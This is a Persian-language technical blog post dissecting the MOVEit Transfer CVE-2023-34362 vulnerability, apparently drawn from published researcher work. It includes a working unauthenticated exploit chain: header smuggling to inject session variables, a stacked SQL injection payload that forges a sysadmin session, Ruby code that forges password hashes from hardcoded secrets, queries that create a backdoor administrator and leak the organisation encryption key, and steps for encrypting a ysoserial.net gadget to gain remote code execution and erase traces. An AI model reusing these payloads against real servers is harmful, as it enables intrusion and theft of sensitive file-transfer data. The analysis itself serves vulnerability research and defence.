در قسمت اول این سری از پست ها، به بررسی کلی آسیب پذیری های اخیر MOVEit Transfer پرداختیم. در این پست به آنالیز آسیب پذیری CVE-2023-34362 پرداختیم که در حملات بعنوان زیرودی استفاده شده. در پست بعدی هم به نحوه استفاده از این آسیب پذیری در حملات پرداختیم.
آنالیز آسیب پذیری CVE-2023-34362 :
اکسپلویت این آسیب پذیری به دلیل اینکه چندین مورد رو باید در کنار هم قرار بدید ، یکمی پیچیده هستش، POC رو میتونید از این لینک مشاهده کنید. برای توسعه PoC ، از MOVEit Transfer version 2023.0.0 و از روش Patch Diffing برای آنالیز استفاده شده. این نسخه رو میتونید از کانالمون دانلود کنید.
با توجه به اینکه اغلب برنامه ها داخل اون دات نتی هستش از dotPeek یا ILSpy برای دیکامپایل کردن استفاده کردن و بعد از دیکامپایل ، نسخه آسیب پذیر رو با نسخه اصلاح شده مقایسه کردن تا نقاطی که تغییر کرده رو پیدا کنن. 2 مورد تغییر رو پیدا کردن که نقاط شروع خوبی رو بهشون داده. برای مقایسه میتونید از ابزار DiffMerge استفاده کنید.
مورد اول حذف تابع SetAllSessionVarsFromHeaders بوده که توسط machine2.aspx استفاده میشه :
-Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object)("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted="+Conversions.ToString(0)+" "),Interaction.IIf(bJustEndUsers,(object)("AND Permission>="+Conversions.ToString(10)+" "),(object)"")),(object)"AND "),(object)"("),(object)"Email='{2}' OR "),(object)this.siGlobs.objUtility.BuildLikeForSQL("Email","{1},%",bEscapeAndConvertMatchString:false)),Interaction.IIf(bJustFirstEmail,(object)"",(object)(" OR "+this.siGlobs.objUtility.BuildLikeForSQL("Email","%,{1}",bEscapeAndConvertMatchString:false)+" OR "+this.siGlobs.objUtility.BuildLikeForSQL("Email","%,{1},%",bEscapeAndConvertMatchString:false)))),(object)") "),(object)"ORDER BY LoginName"),
با توجه به اینکه در گزارش، اشاره شده که آسیب پذیری از نوع SQLi هست، محتملترین مکان برای وجود و بررسی آسیب پذیری ، این قسمت ها میتونه باشه.
در ابتدا محققا رفتن سراغ پیلودهای SQLi ساده، اما متوجه شدن که قضیه به این سادگی ها نیست و پیچیده هستش.
Session injection
محققا مطمئن بودن که تابع SetAllSessionVarsFromHeaders بخشی از زنجیره عفونت هستش. دلیلش هم این بوده که این تابه متغییرهای session رو از هدرها تنظیم میکنه. اگه به کد این تابع نگاه کنید، کاری که میکنه اینه که key: value ها رو از هدر X-siLock-SessVar میخونه و فقط از طریق machine2.aspx در session_setvars transaction فراخوانی میشه.
محققا روی متغیرهای session مختلف کار کردن و یه پیلود توسعه دادن که تونسته session فعلی رو به sysadmin ارتقاء بده :
محققا روی روش های مختلف برای دور زدن استفاده کردن، اما نتیجه ای نداشته.
Header smuggling :
با لاگهایی که از Rapid7 بدست آوردن، متوجه شدن که machine2.aspx توسط localhost (::1) واکشی میشه و بعد از زمان کمی از فراخوانی، یه نقطه پایانی ISAPI با پارامتر m2 به اون دسترسی داره :
1
2
"2023-05-31 POST /moveitisapi/moveitisapi.dll action=m2 443
ماژول های ISAPI هندلرهایی هستن که به زبان های سطح پایین نوشته میشن و مستقیماً در فضای حافظه IIS بارگذاری میشن.
در ادامه محققا رفتن سراغ moveitisapi.dll و با توجه به اینکه ، در زبان سی پلاس توسعه داده شده، اونو با IDA بررسی کردن. با مهندسی معکوس، متوجه شدن، تنها اکشنی که باعث میشه، m2 ، درخواستهارو به machine2.aspx فوروارد کنه، folder_add_by_path هستش:
{"server"=>["Microsoft-IIS/10.0"],"date"=>["Fri, 09 Jun 2023 18:30:54 GMT"],"connection"=>["close"],"x-silock-errorcode"=>["2320"],"x-silock-errordescription"=>["Invalid transaction ''"],"x-silock-foldertype"=>["0"],"x-silock-instid"=>["1884"],"x-silock-username"=>["Anonymous"],"x-silock-realname"=>["Anonymous"],"x-silock-integrityverified"=>["False"],"content-length"=>["0"]}
اینجا بوده که محققا متوجه یه رفتار عجیب شدن. ماجرا هم اینجوری بوده که با توجه به لاگهای سرور، برنامه دات نتی هدر رو اینجوری میبینه :
1
X-Silock-Transaction:folder_add_by_path
اما ISAPI ، با توجه به اینکه در ابتدا حروف بزرگ به کوچیک تبدیل میکنه، در نهایت هدر به صورت زیر می بینه:
1
X-siLock-Transaction:folder_add_by_path
در نتیجه اگه به خروجی نگاه کنید، transaction بعنوان رشته خالی برگردونده. این حساس بودن به حروف بزرگ و کوچیک باعث میشه ما بتونیم هر دو شکل هدرها ، X-SILOCK-TRANSACTION و X-siLock-Transaction رو ارسال کنیم. با این کار ISAPI هر دو رو میبینه ، اما برنامه دات نتی فقط یکی رو میبینه.
نکته بعدی اینه که اگه ما دو تا هدر یکسان رو ارسال کنیم، ISAPI اونارو در یه هدر با هم ترکیب و با کاما از هم جدا میکنه. یعنی اگه ما folder_add_by_path و session_setvars رو بعنوان transaction بفرستیم، ISAPI اونارو بصورت folder_add_by_path, session_setvars درمیاره که این خوب نیست.
در ادامه محققا متوجه شدن که get_header_probably هم اهمیتی به جایی که نام هدر هست نمیده و هرجایی حتی در مقدار هم اونو تطابق میده.
بین حساس بودن به حروف بزرگ و کوچیک و عدم تطابق درست، محققا یه پیلودی رو پیدا کردن که تونسته یه transaction غیرمجاز رو از کد ISAPI عبور بده :
همین پیلود منجر به افزایش امتیاز به sysadmin شده و اساسا همین برای اکسپلویت کافیه اما مهاجمان یه قدم هم جلو رفتن و از SQLi برای اکسپلویت استفاده کردن.
SQLi :
براساس لاگهای Rapid7 ، فایل بعدی درخواست شده بعد از تنظیم متغییرهای session، فایل guestaccess.aspx هستش. بنابراین این مکان خوبی برای ادامه جستجو هستش.
محققا با بررسی اصلاحیه، متوجه شدن که تابع UserGetUsersWithEmailAddress عملکرد جالبی داره و آسیب پذیره و بنابراین بررسی کردن که آیا میتونن از guestaccess.aspx به UserGetUsersWithEmailAddress برسن یا نه.
طبق بررسی اگه مراحل زیر اجرا بشه میشه از guestaccess.aspx به UserGetUsersWithEmailAddress رسید :
GetHTML() (in SILGuestAccess.cs)
PerformAction() (in SILGuestAccess.cs)
msgEngine.MsgPostForGuest() (in MsgEngine.cs)
userEngine.UserGetSelfProvisionUserRecipsWithEmailAddress() (in UserEngine.cs)
UserGetUsersWithEmailAddress() (in UserEngine.cs)
اما برای اینکه این توابع رو بصورت دنباله ای داشته باشیم، باید یسری تنظیمات روشون انجام بدیم .
اغلب guestaccess.aspx برای کاربران میهان ،برای دانلود فایلهایی که توسط یه کاربر ثبت نام شده قرار گرفته، مورد استفاده قرار میگیره. اما مشکل اینجاست که ما نه کاربر ثبت نامی داریم و نه فایلی برای دانلود. اما در نزیکی تابع GetHTML در فایل SILGuestAccess.cs ما یه فراخوانی جالب داریم :
C#
1
this.m_pkginfo.LoadFromSession()
با توجه به اینکه ما میتونیم از طریق session_setvars خرابکاری کنیم، بنابراین بررسی این تابع ، میتونه کمک کننده باشه :
با استفاده از session_setvars transaction و کد header-injection بالا، ما میتونیم هر یک از این مقادیر رو به مقدار دلخواه خودمون تغیر بدیم. یعنی اینکه ما میتونیم یه فایلی که وجود نداره رو برای دانلود ایجاد کنیم. یه مثال از این مورد به این صورت هستش :
1
2
3
4
5
6
7
set_session(cookies,{
'MyPkgAccessCode'=>'accesscode',# Must match the final request Arg06
'MyPkgID'=>'0',# Is self provisioned? (must be 0 for the exploit to work)
'MyGuestEmailAddr'=>'test@test.com',# Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs
'MyPkgInstID'=>'1234',# this can be any int value
'MyPkgSelfProvisionedRecips'=>'recip@recip.com',
})
بعد از این مرحله ما دو تا مشکل دارم. یکی اینکه باید نام کاربری ما Guest باشه در غیر اینصورت session بسته میشه. بطور پیش فرض هم Anonymous هستیم.
C#
1
2
3
4
5
6
7
8
9
if(Operators.CompareString(username,"Guest",false)==0)// If username == Guest...
گرفتن توکن CSRF یکمی دشوار هستش. این کار باید بعد از تنظیم MyUsername روی Guest انجام بشه و نکته ای که هست اینه که اکثر صفحاتی که توکن های CSRF بر میگردونن، مثله human.aspx ، بلافاصله sessionهای guest رو پاک میکنن.
در نهایت محققا متوجه شدن که با تنظیم Transaction به dummy و Arg06 به هر چیزی و Arg12 به promptaccesscode در guestaccess.aspx ، یه فرمی با یه توکن CSRF قابل استفاده دریافت میکنن :
بعد از اینکه MyUsername روی Guest و یه توکن CSRF تنظیم کردید ، بسته جعلی رو ایجاد میشه و دسترسی به تابع آسیب پذیر داریم. برای اطمینان از این امر، قابلیت لاگ گیری در MySQL رو بعد از لاگین کردن بعنوان کاربر root و اجرای دستورات زیر فعال میکنیم :
1
2
3
SET globallog_output='FILE';
SET globalgeneral_log_file='mysql.log';
SET globalgeneral_log=1;
بعد از فعال کردن لاگ گیری، تمام مراحل بالا رو برای ایجاد بسته انجام بدید، نام کاربری رو روی Guest تنظیم کنید و در نهایت guestaccess.aspx رو با کوئری زیر درخواست کنید :
اگه به فایل لاگ MySQL که در c:\MySQL\data\mysql.log هست، نگاه کنیم، کوئری زیر رو میبینم :
1
2023-06-09T19:40:21.688213Z36172Query SELECT Username,Permission,LoginName,Email FROM users WHERE InstID=1234ANDDeleted=0ANDPermission>=10AND(Email='recip@recip.com'OR`Email`LIKE'recip@recip.com,%'OR`Email`LIKE'%,recip@recip.com'OR`Email`LIKE'%,recip@recip.com,%')ORDER BY LoginName
در ادامه محققین recip@recip.com رو به akb'testinjection تغییر دادن :
1
2
3
4
5
6
7
8
set_session(cookies,{
'MyPkgAccessCode'=>'accesscode',# Must match the final request Arg06
'MyPkgID'=>'0',# Is self provisioned? (must be 0)
'MyGuestEmailAddr'=>'test@test.com',# Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs
بعدش دوباره توکن CSRF گرفتن و درخواست ارسال کردن. اینبار یه خطایی ایجاد شده که در لاگ های برنامه ، که بطور پیش فرض در C:\MOVEitTransfer\Logs\DMZ_WEB.log هستش، قابل مشاهده هست :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
2023-06-0912:42:44.049#22 z10 DbConn.DoRead_DS: caught exception on statement 'SELECT Username, Permission, LoginName, Email FROM users WHERE InstID=1234 AND Deleted=0 AND Permission>=10 AND (Email='akb'testinjection' OR `Email` LIKE 'akb'testinjection,%' OR `Email` LIKE '%,akb'testinjection' OR `Email` LIKE '%,akb'testinjection,%' ) ORDER BY LoginName'
2023-06-0912:42:44.049#22 z10 DbConn.DoRead_DS: Caught exception MySqlException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'testinjection' OR `Email` LIKE 'akb'testinjection,%' OR `Email` LIKE '%,akb't' at line 1
at MySql.Data.MySqlClient.MySqlStream.ReadPacket()
at MySql.Data.MySqlClient.NativeDriver.GetResult(Int32&affectedRow,Int64&insertedId)
at MySql.Data.MySqlClient.Driver.NextResult(Int32 statementId,Booleanforce)
at MySql.Data.MySqlClient.MySqlDataReader.NextResult()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset,DataTable[]datatables,Int32 startRecord,Int32 maxRecords,StringsrcTable,IDbCommand command,CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet,Int32 startRecord,Int32 maxRecords,StringsrcTable,IDbCommand command,CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet)
at MOVEit.DMZ.Core.DbConn.<>c__DisplayClass76_0.<DoRead_DS>g__LocalGetDataSet|0()
at MOVEit.DMZ.Core.DbConn.ExecuteSqlActionWithRetry[T](Func`1dbAction,Action`3onRetryAction)
at MOVEit.DMZ.Core.DbConn.DoRead_DS(DbConnection conn,Stringquery,Dictionary`2parameters,String&reason)
تسلیح SQLi :
محققا برای اینکه بتونن، این آسیب پذیری رو تبدیل به سلاح کنن، پیلود زیر رو توسعه دادن. در این پیلود ، با توجه به اینکه امکان استفاده از کاما در درخواست نیست از UPDATE های متعدد استفاده شده .
MySQL
1
a@a.com');INSERT INTO activesessions (SessionID) values ('rd0szzmafyxku5msjbbskx0h');UPDATE activesessions SET Username=(select Username from users order by permission desc limit 1) WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET LoginName='test@test.com' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET RealName='test@test.com' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET InstId='1234' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET IpAddress='10.0.0.227' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET LastTouch='2099-06-1009:30:00' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET DMZInterface='10' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET Timeout='60' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET ResilNode='10' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET AcctReady='1' WHERE SessionID='rd0szzmafyxku5msjbbskx0h'#
کارش هم اینه که یه ردیف بصورت زیر در جدول activesessions ایجاد میکنه :
1
2
3
4
5
6
mysql>select *from activesessions where sessionid='rd0szzmafyxku5msjbbskx0h';
با این کار ، مهاجم میتونه از human.aspx بازدید کنه و به برنامه با بالاترین امتیاز یعنی sysadmin دسترسی داشته باشه.
اجرای کد از راه دور :
تا اینجا ما یه آسیب پذیری SQLi داریم ولی در این مرحله میخواییم از این آسیب پذیری برای اجرای کد از راه دور بدون احرازهویت استفاده کنیم. مراحل کلی اجرای کد بصورت زیر هستش :
از SQLi برای دسترسی از راه دور به REST API استفاده میکنیم.
از SQLi برای ایجاد یه کاربر جدید sysadmin با پسوردی که میدونیم، استفاده میکنیم.
از کاربر جدید sysadmin برای ورود به سیستم و بدست آوردن REST API access token استفاده میکنیم.
از REST API برای شناسایی یه folder ID number استفاده میکنیم.
از REST API برای آپلود یه فایل resumable در این فولدر استفاده میکنیم.
از SQLi برای بدست آوردن کلید رمزنگاری سازمان (Organization) با InstID صفر استفاده میکنیم.
یه NET deserialization gadget ایجاد میکنیم و اون رو با کلید رمزنگاری که قبلا بدست آوردیم، رمز میکنیم.
از SQLi برای ذخیره deserialization gadget رمز شده در فیلد آپلود فایل resumable در دیتابیس استفاده میکنیم.
از REST API برای از سرگیری آپلود فایل و راه اندازی deserialization استفاده میکنیم ، که به ما امکان RCE رو میده.
از SQLi برای حذف تمام موارد اکسپلویت استفاده میکنیم. هدف از این مرحله پنهون کردن ردپاست
در ادامه بریم و این مراحل رو بررسی کنیم. خیلی خلاصه بخوایم سناریو رو مرور کنیم، یه تابع deserialization ناامن وجود داره، مهاجم میتونه با SQLi یه gadget مخرب بنویسه و بعدش با ارسال درخواست به نقطه پایانی، deserialization ناامن فراخونی کنه و RCE بگیره.
اجازه دسترسی از راه دور :
MOVEit Transfer دسترسی آدرس IP به REST API رو از طریق قوانین تعریف شده در جدول moveittransfer.hostpermits، همانطور که در زیر نشان داده شده ، اعمال میکنه. بنابراین اولین قدم برای اینکه بتونیم از راه دور به REST API دسترسی داشته باشیم، دستکاری این جدول هستش تا اجازه دسترسی به IPهای خارجی رو بده .
در این مرحله IPهای خارجی امکان دسترسی به REST API دارن، اما برای اینکه بتونن به APIها دسترسی داشته باشن باید نام کاربری و پسورد مناسب داشته باشیم. با توجه به اینکه پسوردها در دیتابیس رمزنگاری شده و ذخیره میشن، باید مکانیسم رمزنگاری برنامه رو کشف کنیم.
این عمل توسط متد MOVEit.DMZ.Core.Cryptography.CheckPasswordHash انجام میشه که همونطور که مشاهده میکنیم از مکانیسم های مختلف برای هش کردن استفاده میکنه که اغلبشون از یه کلید رمزنگاری با عنوان Org Key استفاده میکنن که در این مرحله ما بعنوان مهاجم، اطلاعی در خصوصش نداریم.
یه مکانیسم هش قدیمی بنام MakeV0V1PasswordHash هم وجود داره که امکان ایجاد هش بدون کلید Org Key رو میده :
thrownewApplicationException("Unknown secret type "+type);
}
همونطور که در کد قابل مشاهده هستش، پسورد با استفاده از MD5 و یه مقدار salt و دو مقدار استاتیک با عنوان secret1 و secret2 و مقادیر pwpre و pwpost هش میشه. مقادیر base64 این مقادیر استاتیک برابر =VT2jkEH3vAs= و =0maaSIA5oy0= هستش.
بنابراین ما میتونیم با استفاده از کد روبی زیر یه پسورد ایجاد کنیم :
Ruby
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
defmakev1password(password,salt='AAAA')
raise"password cannot be empty"ifpassword.empty?
raise"salt must be 4 bytes"ifsalt.length!=4
# These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret
pwpre=Base64.decode64('=VT2jkEH3vAs=')
pwpost=Base64.decode64('=0maaSIA5oy0=')
md5=Digest::MD5.new
md5.update(pwpre)
md5.update(salt)
md5.update(password)
md5.update(pwpost)
pw=[(4+4+16),0,0,0].pack('CCCC')
pw<<salt
pw<<md5.digest
returnBase64.strict_encode64(pw).gsub('+','-')
end
hax_username=rand_string(8)
hax_loginname=rand_string(8)
hax_password=rand_string(8)
الان با استفاده از SQLi و پسوردی که ایجاد کردیم، از طریق کوئری های زیر، میتونیم یه کاربر sysadmin ایجاد کنیم :
MySQL
1
2
3
4
5
6
7
8
9
10
11
"INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')",
"UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'",
"UPDATE moveittransfer.users SET InstID='#{instid}' WHERE Username='#{hax_username}'",
"UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, rand_string(4))}' WHERE Username='#{hax_username}'",
"UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'",
"UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'",
بدست آوردن API Token:
در این مرحله ما از طریق IP به REST API دسترسی داریم و میتونیم با استفاده از اکانت sysadmin که ایجاد کردیم به REST API لاگین کنیم. در این مرحله نیاز به توکن داریم. با ارسال یه درخواست POST به /api/v1/token میتونیم یه access_token بدست بیاریم که به ما امکان فراخوانی همه REST API قابل دسترس میده :
raise"Couldn't get API token (#{token_response.body})"
end
token_json=JSON.parse(token_response.body)
log("Got API access token='#{token_json['access_token']}'.")
پیدا کردن یه Folder ID :
در این مرحله ما از طریق IP و اکانت sysadmin و توکن ،دسترسی به RestAPI داریم و طبق موردی که بالا بررسی کردیم، نیاز هستش که یه فایلی رو آپلود کنیم. در این مرحله میخواییم یه جای مناسب برای این کار پیدا کنیم. برای اینکه ما بتونیم یه فایلی رو آپلود کنیم، باید یه ID فولدر در MOVEit Transfer پیدا کنیم. برای این کار میتونیم از /api/v1/folders استفاده کنیم که یه آرایه json از فولدرهای موجود در سیستم برمیگردونه :
در این مرحله، ما از طریق IP به REST API دسترسی داریم و میتونیم با اکانت sysadmin به اون لاگین کنیم و یه فولدر هم داریم که میتونیم فایلمون رو توش آپلود کنیم. در این مرحله می خواییم از یه آسیب پذیری deserialization که در زمان آپلود مجدد فایل رخ میده استفاده کنیم. بنابراین برای اینکه به این مسیر از کد برسیم، باید یه فایل آپلود مجدد از طریق فراخوانی /api/v1/folders/{id}/files?uploadType=resumable ایجاد کنیم. با این کار یه ردیف در جدول moveittransfer.files برای ذخیره متادیتای فایل در حال آپلود و یه ردیف هم در جدول moveittransfer.fileuploadinfo برای ذخیره وضعیت فایل در حال آپلود ایجاد میشه.
raise"Couldn't post API files #1 (#{files_response.body})"
end
files_json=JSON.parse(files_response.body)
log("Initiated resumable file upload for fileId '#{files_json['fileId']}'...")
بدست آوردن کلید رمزنگاری :
در این مرحله ما از طریق IP و اکانت sysadmin به REST API دسترسی داریم و یه فایل با قابلیت آپلود مجدد رو در یه فولدری ایجاد کردیم. اطلاعات وضعیت این فایل بصورت یه شی دات نتی serialized رمز شده در فیلد State در جدول moveittransfer.fileuploadinfo ذخیره میشه. خب اگه ما بخواییم یه deserialization gadget در این فیلد قرار بدیم، باید بتونیم اونو رمز کنیم و برای اینکه بتونیم رمز کنیم باید کلید رمزنگاری داشته باشیم.
MOVEit Transfer از کلید رمزنگاری خاص organization که فایل در اون آپلود میشه، استفاده میکنه. این organization معمولا با مقدار InstID هنگام درخواست API یا دیتابیس ، مشخص میشه. با توجه به اینکه اکانت ما sysadmin هستش، بنابراین باید دنبال کلید رمزنگاری برای organization باشیم که InstID اون صفر باشه.
این کلید در رجیستری ویندوز ذخیره میشه، اما ما بعنوان یه هکر راه دور به رجیستری دستری نداریم. خوشبختانه یه کپی از اون در جدول moveittransfer.registryaudit با عنوان KeyName با مقدار Standard Networks\siLock\Institutions\0 ذخیره میشه. یه نکته جالب اینکه ، MOVEit Transfer SSH private key هم در این جدول ذخیره میشه.
خب ما SQLi داریم و دیتا هم داخل جدول نوشته شده بنابراین در این مرحله میتونیم، کلید رمزنگاری رو با استفاده از SQLi در متادیتای فایل قابل آپلود مجدد بنویسیم و بعدش با REST API این متادیتارو بخونیم. کوئری زیر کلید رمزنگاری رو در فیلد متادیتای UploadAgentBrand فایل، مینویسه. با توجه به اینکه در SQL نمتونیم از کاراکتر \ استفاده کنیم، بنابراین از تابع CHAR_LENGTH برای جستجوی فیلد استفاده شده. این روش انتخاب شده چون سایر مقادیر InstId که صفر نیستن، یه عدد صحیح با بیش از یه کاراکتر هستن، بنابراین ما میتونیم دنبال KeyName های مورد علاقه امون با طول خاص باشیم.
MySQL
1
"UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'"
حالا میتونیم با یه درخواست GET به نقطه پایانی /api/v1/files/{id} ، کلید رمزنگاری بدست بیاریم.
raise"Couldn't post API files #LEAK (#{leak_response.body})"
end
leak_json=JSON.parse(leak_response.body)
org_key=leak_json['uploadAgentBrand']
log("Leaked the Org Key: #{org_key}")
برای مثال کلید رمزنگاری 16 بایتی برای محققا اینجوری بوده :
1
0B52CA0BFA016F195ED361B1 B92ADA75
رمزنگاری Deserialization Gadget :
خب تا اینجا ما با IP و اکانت sysadmin به Rest API دسترسی داریم، تونستیم کلید رمزنگاری و فولدر برای آپلود هم بدست بیاریم. حالا میخواییم در این مرحله Deserialization Gadget مون رو رمز کنیم. deserialization دات نتی ناامن در متد MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler طی یه BinaryFormatter.Deserializecall رخ میده:
بنابراین ما باید دنبال یه deserialization gadget باشیم که در داخل MOVEit Transfer IIS Worker Process باشه. خوشبختانه نیازی به نوشتن deserialization gadget اختصاصی نیست و میتونیم از ابزار ysoserial.net استفاده کنیم. TextFormattingRunProperties gadget که برای یه BinaryFormatter هستش، بعد از deserialized میتونه RCE بده. خب ما میتونیم از این gadget برای اجرای Notepad بصورت زیر استفاده کنیم :
الان ما gadget رو هم داریم و تنها کاری که مونده اینه که اونو با کلید رمزنگاری که بدست آوردیم ، رمز کنیم. برای رمزنگاری ما کلید رو داریم اما نمیدونیم چه الگوریتم رمزنگاری استفاده شده.
محققا با مهندسی معکوس متوجه شدن که الگوریتم رمزنگاری در متد MOVEit.Crypto.AesMOVEitCryptoTransform تعریف شده. در کل الگوریتم AES-256-CBC هستش با 16 بایت IV که شامل 4 بایت اول هش شده کلید رمزنگاری که بدست آوردیم با SHA1 هستش که 4 بار تکرار شده.
کلید رمزنگاری ارسال شده به AES یه کلید 32 بایتی هستش که یه مقدار ثابت 12 بایتی ، مقدار 16 باید کلید رمزنگاری که ما بدستش آوردیم و 4 بایت Null تشکیلش میده. این مقدار ثابت 12 بایتی توسط MOVEit.DMZ.Core.Cryptography.Encryption.GetDatabaseEncryptionKey ایجاد میشه که آرگومان orgId در این مورد 1- هستش:
مقدار رمزشده، با یه ساختار هدر ساده که توسط MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader تعریف شده، فرمت دهی میشه که شامل شماره نسخه، 2 بایت هش داده و 4 بایت ابتدایی IV هستش.
در نهایت هدر و داده رمزشده، با base64 انکد میشن و یه مقدار تگ @%! به ابتداش اضافه میشه.
MOVEit Transfer هنگام نوشتن داده رمز شده در دیتابیس ، DBFieldEncrypt فراخوانی میکنه و هنگام رمزگشایی از DBFieldDecrypt استفاده میکنه.
همونطور که مشاهده میکنید، در فراخوانی DBFieldEncrypt ، مقدار orgId باید 1- باشه که هم روی مقدار استاتیک تولید شده در GetDatabaseEncryptionKey و هم در استفاده از organization 0 key در فراخوانی Encryption._orgKeyProvider.GetOrgKey(flag ? orgId : 0) تاثیر میزاره. به همین دلیل هستش که ما در مراحل قبل خواستیم که کلید رمزنگاری organization 0 رو بدست بیاریم.
log("Encrypted the gadget with Org Key: #{deserialization_gadget}")
ذخیره Gadget :
خب در این مرحله ما از طریق IP و اکانت به REST API دسترسی داریم، محل نوشتن و deserialization gadget رمز شده رو هم داریم. در این مرحله میخواییم با استفاده از SQLi ، اونو در فیلد State جدول moveittransfer.fileuploadinfo برای فایل قابل آپلود مجددمون بنویسیم :
MySQL
1
"UPDATE moveittransfer.fileuploadinfo SET State='#{deserialization_gadget}' WHERE FileID='#{files_json['fileId']}'"
فراخوانی Deserialization ناامن:
خب در این مرحله همه موارد سرجاش هستش و فقط کافیه که ما Deserialization ناامن رو فراخوانی کنیم. برای این منظور یه درخواست PUT به نقطه پایانی /api/v1/folders/{id}/files?uploadType=resumable&fileId={id} ارسال میکنیم تا متد MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.GetUploadStream اجرا بشه:
raise"Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})"
end
log("Gadget deserialized, RCE Achieved!")
متد GetUploadStream در ابتدا برای اینکه state ذخیره شده در دیتابیس برای فایل قابل آپلود مجدد رو رمزگشایی کنه ، GetFileUploadInfo رو فراخوانی میکنه. این همون فیلدی هستش که deserialization gadget رمز شده ما توش نشسته. gadget بعد از رمزگشایی در متغیر _uploadState قرار میگیره. بعدش DeserializeFileUploadStream فراخوانی میشه. این متد یه نمونه BinaryFormatter جدید ایجاد میکنه و gadget ما رو deserialize میکنه و در نتیجه RCE رو داریم.
this._fileUploadStream=this.DeserializeFileUploadStream(newDataFilePath(this._orgId,this._targetFolderId,this._fileId));// <---- deserialize the gadget
this._uploadState=System.Convert.FromBase64String(this._globals.objUtility.DBFieldDecrypt(silDictionary["State"]));// <---- decrypt our gadget and store it in _uploadState